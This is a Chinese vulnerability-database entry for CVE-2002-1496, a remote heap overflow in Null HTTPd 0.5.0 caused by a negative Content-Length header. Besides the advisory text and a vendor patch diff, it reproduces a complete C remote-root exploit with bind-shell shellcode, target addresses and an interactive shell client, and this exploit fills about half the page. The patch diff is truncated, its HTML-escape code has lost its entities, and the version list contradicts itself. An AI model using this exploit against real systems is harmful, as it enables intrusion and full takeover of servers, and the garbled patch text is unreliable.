CVE-2002-1496
CVSS7.5
发布时间 :2003-04-02 00:00:00
修订时间 :2008-09-05 16:30:45
NMCOES    

[原文]Heap-based buffer overflow in Null HTTP Server 0.5.0 and earlier allows remote attackers to execute arbitrary code via a negative value in the Content-Length HTTP header.


[CNNVD]Null HTTPd远程堆缓冲区溢出漏洞(CNNVD-200304-034)

        Null HTTPd是一款小型多线程的WEB服务程序,可使用在Linux和Windows操作系统下。
        Null HTTPd在处理Content-Length为负值的请求时存在问题,远程攻击者可以利用这个漏洞进行基于堆的缓冲区溢出,以Web进程在系统上执行任意指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1496
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1496
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200304-034
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5774
(VENDOR_ADVISORY)  BID  5774
http://www.iss.net/security_center/static/10160.php
(VENDOR_ADVISORY)  XF  null-httpd-contentlength-bo(10160)
http://freshmeat.net/releases/97910/
(UNKNOWN)  CONFIRM  http://freshmeat.net/releases/97910/
http://archives.neohapsis.com/archives/bugtraq/2002-09/0284.html
(UNKNOWN)  BUGTRAQ  20020922 remote exploitable heap overflow in Null HTTPd 0.5.0

- 漏洞信息

Null HTTPd远程堆缓冲区溢出漏洞
高危 边界条件错误
2003-04-02 00:00:00 2012-11-30 00:00:00
远程  
        Null HTTPd是一款小型多线程的WEB服务程序,可使用在Linux和Windows操作系统下。
        Null HTTPd在处理Content-Length为负值的请求时存在问题,远程攻击者可以利用这个漏洞进行基于堆的缓冲区溢出,以Web进程在系统上执行任意指令。

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 暂时在边界防火墙设置策略,只允许可信IP访问Null HTTPd。
        厂商补丁:
        NullLogic
        ---------
        采用如下补丁程序:
        diff -Nru nullhttpd-0.5.0/src/format.c nullhttpd-0.5.1-pre/src/format.c
         --- nullhttpd-0.5.0/src/format.c Sun Feb 3 18:18:22 2002
         +++ nullhttpd-0.5.1-pre/src/format.c Sun Sep 15 21:55:09 2002
         @@ -153,3 +153,29 @@
         }
         return 0;
         }
         +
         +int printht(const char *format, ...)
         +{
         + unsigned char buffer[1024];
         + int offset=0;
         + va_list ap;
         +
         + va_start(ap, format);
         + vsnprintf(buffer, sizeof(buffer)-1, format, ap);
         + va_end(ap);
         + while (buffer[offset]) {
         + if (buffer[offset]=='<') {
         + prints("<");
         + } else if (buffer[offset]=='>') {
         + prints(">");
         + } else if (buffer[offset]=='&') {
         + prints("&");
         + } else if (buffer[offset]=='"') {
         + prints(""");
         + } else {
         + prints("%c", buffer[offset]);
         + }
         + offset++;
         + }
         + return 0;
         +}
         diff -Nru nullhttpd-0.5.0/src/http.c nullhttpd-0.5.1-pre/src/http.c
         --- nullhttpd-0.5.0/src/http.c Sun Feb 3 18:18:22 2002
         +++ nullhttpd-0.5.1-pre/src/http.c Sun Sep 15 21:55:09 2002
         @@ -149,8 +149,15 @@
         while ((line[strlen(line)-1]=='\n')||(line[strlen(line)-1]=='\r')) line[strlen(line)-1]='\0';
         if (strncasecmp(line, "Connection: ", 12)==0)
         strncpy(conn[sid].dat->in_Connection, (char *)&line+12, sizeof(conn[sid].dat->in_Connection)-1);
         - if (strncasecmp(line, "Content-Length: ", 16)==0)
         + if (strncasecmp(line, "Content-Length: ", 16)==0) {
         conn[sid].dat->in_ContentLength=atoi((char *)&line+16);
         + if (conn[sid].dat->in_ContentLength<0) {
         + // Negative Content-Length? If so, the client is either broken or malicious.
         + // Thanks to <ilja@idefense.be> for spotting this one.
         + logerror("ERROR: negative Content-Length of %d provided by client.", conn[sid].dat->in_ContentLength);
         + conn[sid].dat->in_ContentLength=0;
         + }
         + }
         if (strncasecmp(line, "Cookie: ", 8)==0)
         strncpy(conn[sid].dat->in_Cookie, (char *)&line+8, sizeof(conn[sid].dat->in_Cookie)-1);
         if (strncasecmp(line, "Host: ", 6)==0)
         diff -Nru nullhttpd-0.5.0/src/main.c nullhttpd-0.5.1-pre/src/main.c
         --- nullhttpd-0.5.0/src/main.c Sun Feb 3 18:18:22 2002
         +++ nullhttpd-0.5.1-pre/src/main.c Sun Sep 15 21:55:09 2002
         @@ -36,12 +36,17 @@
         logaccess(2, " - HTTP Request: ", conn[sid].dat->in_RemoteAddr, conn[sid].dat->in_RequestMethod,
        conn[sid].dat->in_RequestURI);
         snprintf(file, sizeof(file)-1, "", config.server_htdocs_dir, conn[sid].dat->in_RequestURI);
         snprintf(conn[sid].dat->out_ContentType, sizeof(conn[sid].dat->out_ContentType)-1, "text/html");
         - if (strncmp(conn[sid].dat->in_RequestURI, "/cgi-bin/", 9)==0) cgi_main();
         - else if (sendfile(sid, file)==0) return;
         - else if (dirlist(sid)==0) return;
         - else {
         + if (strncmp(conn[sid].dat->in_RequestURI, "/cgi-bin/", 9)==0) {
         + cgi_main();
         + } else if (sendfile(sid, file)==0) {
         + return;
         + } else if (dirlist(sid)==0) {
         + return;
         + } else {
         send_header(sid, 0, 200, "OK", "1", "text/html", -1, -1);
         - prints("
The file or function '' could not be found.
\n", conn[sid].dat->in_RequestURI);
         + prints("
The file or function '");
         + &nbs

- 漏洞信息 (21818)

Null HTTPd 0.5 Remote Heap Overflow Vulnerability (EDBID:21818)
linux remote
2002-09-23 Verified
0 eSDee
N/A [点击下载]
source: http://www.securityfocus.com/bid/5774/info

Null httpd is a small multithreaded web server for Linux and Windows, mantained by NullLogic.

A remotely exploitable heap overflow has been discovered in Null httpd. By passing a negative content length value to the server, it is possible to modify the allocation size of the read buffer, resulting in a heap overflow.

An attacker may exploit this condition to overwrite arbitrary words in memory through the free() function. This may allow for the execution of arbitrary code.

It should be noted that although reported on v0.5.0, earlier versions are likely vulnerable.


/*           _ ________            _____                        ______
    __ ___ ____       /____.------  ___/____ _______
         _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
   ___ ._\    . \  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _
      - -------\______||--._____\---._______//-|__    //-.___|----._____||
                                               / \   /
                                                   \/
 "If we knew what it was we were doing, it would not be called research, would it?"
 ----------------------------------------------------------------------------------
 Remote Null httpd 0.5.0 root exploit        by eSDee of Netric (www.netric.org|be)
 Full advisory available at: http://www.netric.org/advisories/netric-adv009.txt

*/

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include "getopt.h"

struct {
        char *type;
        unsigned int retloc;
        unsigned int ret;

} targets[] = { /* Thanks tozz ;) */
        { "Null httpd 0.5.0 (Redhat 7.3)", 0x0804f334, 0x0804fbd1 },
        { "Crash         (All platforms)", 0xb0efb0ef, 0xb0efb0ef },
};

char shellcode[] = /* shellcode by R00T-dude (ilja@netric.org) */
        "\xeb\x0a--netric--"
        "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\xb1\x06\x51"
        "\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31"
        "\xc9\x51\x51\x51\x80\xc1\x77\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24"
        "\xb2\x10\x52\x51\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80"
        "\xb3\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03\xcd\x80"
        "\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0\x66\xcd\x80\x89\xc3"
        "\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x41"
        "\x31\xc0\xb0\x3f\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c\x24"
        "\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

int sock;

void shell();
void usage();

void usage(char *prog)
{
        fprintf(stderr,"Usage: %s <-h host> <-t type> [-p port]\n", prog);
        exit(1);
}

void shell()
{
        fd_set  fd_read;

        char buff[1024], *cmd="/bin/uname -a;/usr/bin/id;\n";
        int n;

        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        FD_SET(0, &fd_read);

        send(sock, cmd, strlen(cmd), 0);
        while(1) {
                FD_SET(sock,&fd_read);
                FD_SET(0,&fd_read);
                if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
                if( FD_ISSET(sock, &fd_read) ) {
                        if((n=recv(sock,buff,sizeof(buff),0))<0){
                                fprintf(stderr, "EOF\n");
                                exit(2);
                        }
                        if(write(1,buff,n)<0)break;
                }

                if ( FD_ISSET(0, &fd_read) ) {
                        if((n=read(0,buff,sizeof(buff)))<0){
                                fprintf(stderr,"EOF\n");
                                exit(2);
                        }
                        if(send(sock,buff,n,0)<0) break;
                }
                usleep(10);
                }
        fprintf(stderr,"Connection lost.\n\n");
        exit(0);
}

int
openhost(char *host,int port)
{
        struct sockaddr_in addr;
        struct hostent *he;

        he=gethostbyname(host);

        if (he==NULL) return -1;
        sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
        if (sock==-1) return -1;

        memcpy(&addr.sin_addr, he->h_addr, he->h_length);

        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);

        if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
        return sock;
}

int
exploit(char *host, int port, int type)
{
        char sendbuf[500];
        char buffer[377];
        int i=0;

        int sock2;

        sock=openhost(host, port);

        if (sock==-1) {
                fprintf(stderr,"Unable to connect.\n\n");
                exit(1);
        }

        fprintf(stdout, "Attacking (%s) ...\n", host);
        memset(buffer, 0xbf, sizeof(buffer) - 1);

        for(i=0;i<376;i=i+4)
        {
                buffer[i]   = 0xbf; /* must be a valid pointer */
                buffer[i+1] = 0xff;
                buffer[i+2] = 0xb0;
                buffer[i+3] = 0xef;
        }

        memcpy(buffer, shellcode, strlen(shellcode));

        buffer[359] = 0xff; /* prev_size */
        buffer[360] = 0xff;
        buffer[361] = 0xff;
        buffer[362] = 0xff;

        buffer[363] = 0xfc; /* size field */
        buffer[364] = 0xff;
        buffer[365] = 0xff;
        buffer[366] = 0xff;

        buffer[368] = (targets[type - 1].retloc & 0x000000ff); /* FD */
        buffer[369] = (targets[type - 1].retloc & 0x0000ff00) >> 8;
        buffer[370] = (targets[type - 1].retloc & 0x00ff0000) >> 16;
        buffer[371] = (targets[type - 1].retloc & 0xff000000) >> 24;

        buffer[372] = (targets[type - 1].ret & 0x000000ff); /* BK */
        buffer[373] = (targets[type - 1].ret & 0x0000ff00) >> 8;
        buffer[374] = (targets[type - 1].ret & 0x00ff0000) >> 16;
        buffer[375] = (targets[type - 1].ret & 0xff000000) >> 24;

        buffer[376] = 0x0;

        snprintf(sendbuf, sizeof(sendbuf) -1, "POST / HTTP/1.0\n"
                                              "Content-Length: -800\n"
                                              "\n\n%s\n",buffer);

        write(sock, sendbuf, strlen(sendbuf));

        sleep(4);
        close(sock);

        sock=openhost(host, 30464);
        if (sock==-1) {
                fprintf(stderr,"Failed.\n\n");
                exit(1);
        }

        fprintf(stdout, "Exploit successful!\n");
        fprintf(stdout, "------------------------------------------------------------------\n");
        shell(sock);
        close(sock);
        return 0;
}

int
main (int argc,char *argv[])
{
        char host[256];
        int i,opt,type=0,port=80;

        fprintf(stdout,"Null httpd 0.5.0 remote root exploit            by eSDee of Netric\n");
        fprintf(stdout,"--------------------------------------------------(www.netric.org)\n");

        memset(host, 0x0, sizeof(host));

        while((opt=getopt(argc,argv,"h:p:t:")) !=EOF)
        {
                switch(opt)
                {
                        case 'h':
                                strncpy(host, optarg, sizeof(host) - 1);
                                break;
                        case 'p':
                                port=atoi(optarg);
                                if ((port <= 0) || (port > 65535)) {
                                        fprintf(stderr,"Invalid port.\n\n");
                                        return -1;
                                }
                                break;
                        case 't':
                                type=atoi(optarg);
                                if (type == 0 || type > sizeof(targets)/12) {
                                        for(i = 0; i < sizeof(targets)/12; i++)
                                                fprintf(stderr, "%d. %s\t (0x%08x - 0x%08x)\n",
                                                                i + 1,
                                                                targets[i].type,
                                                                targets[i].ret,targets[i].retloc);
                                        fprintf(stderr, "\n");
                                        return -1;
                                }
                                break;
                        default:
                                usage(argv[0]);
                                break;
                }

        }

        if (strlen(host) == 0) usage(argv[0]);

        if (!type) {
                fprintf(stderr, "No target given, use -t0 for a list.\n\n");
                return -1;
        }

        if (exploit(host, port, type) < 0) {
                fprintf(stderr, "Failed.\n\n");
                return -1;
        }

        return 0;
}		

- 漏洞信息

9212
Null httpd Content-Length Header Handling Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2002-09-22 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Null HTTPd Remote Heap Overflow Vulnerability
Boundary Condition Error 5774
Yes No
2002-09-23 12:00:00 2009-07-11 05:06:00
Discovery credited to Netric Security Team.

- 受影响的程序版本

NullLogic Null HTTPd 0.5.1
NullLogic Null HTTPd 0.5
NullLogic Null HTTPd 0.5.1

- 不受影响的程序版本

NullLogic Null HTTPd 0.5.1

- 漏洞讨论

Null httpd is a small multithreaded web server for Linux and Windows, mantained by NullLogic.

A remotely exploitable heap overflow has been discovered in Null httpd. By passing a negative content length value to the server, it is possible to modify the allocation size of the read buffer, resulting in a heap overflow.

An attacker may exploit this condition to overwrite arbitrary words in memory through the free() function. This may allow for the execution of arbitrary code.

It should be noted that although reported on v0.5.0, earlier versions are likely vulnerable.

- 漏洞利用

Exploit supplied by Netric Security Team. Written by eSDee of Netric.

- 解决方案

A patch for v0.5.0 is included in the Netric Advisory.

The vendor has addressed the issue in Null httpd v0.5.1.


NullLogic Null HTTPd 0.5

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站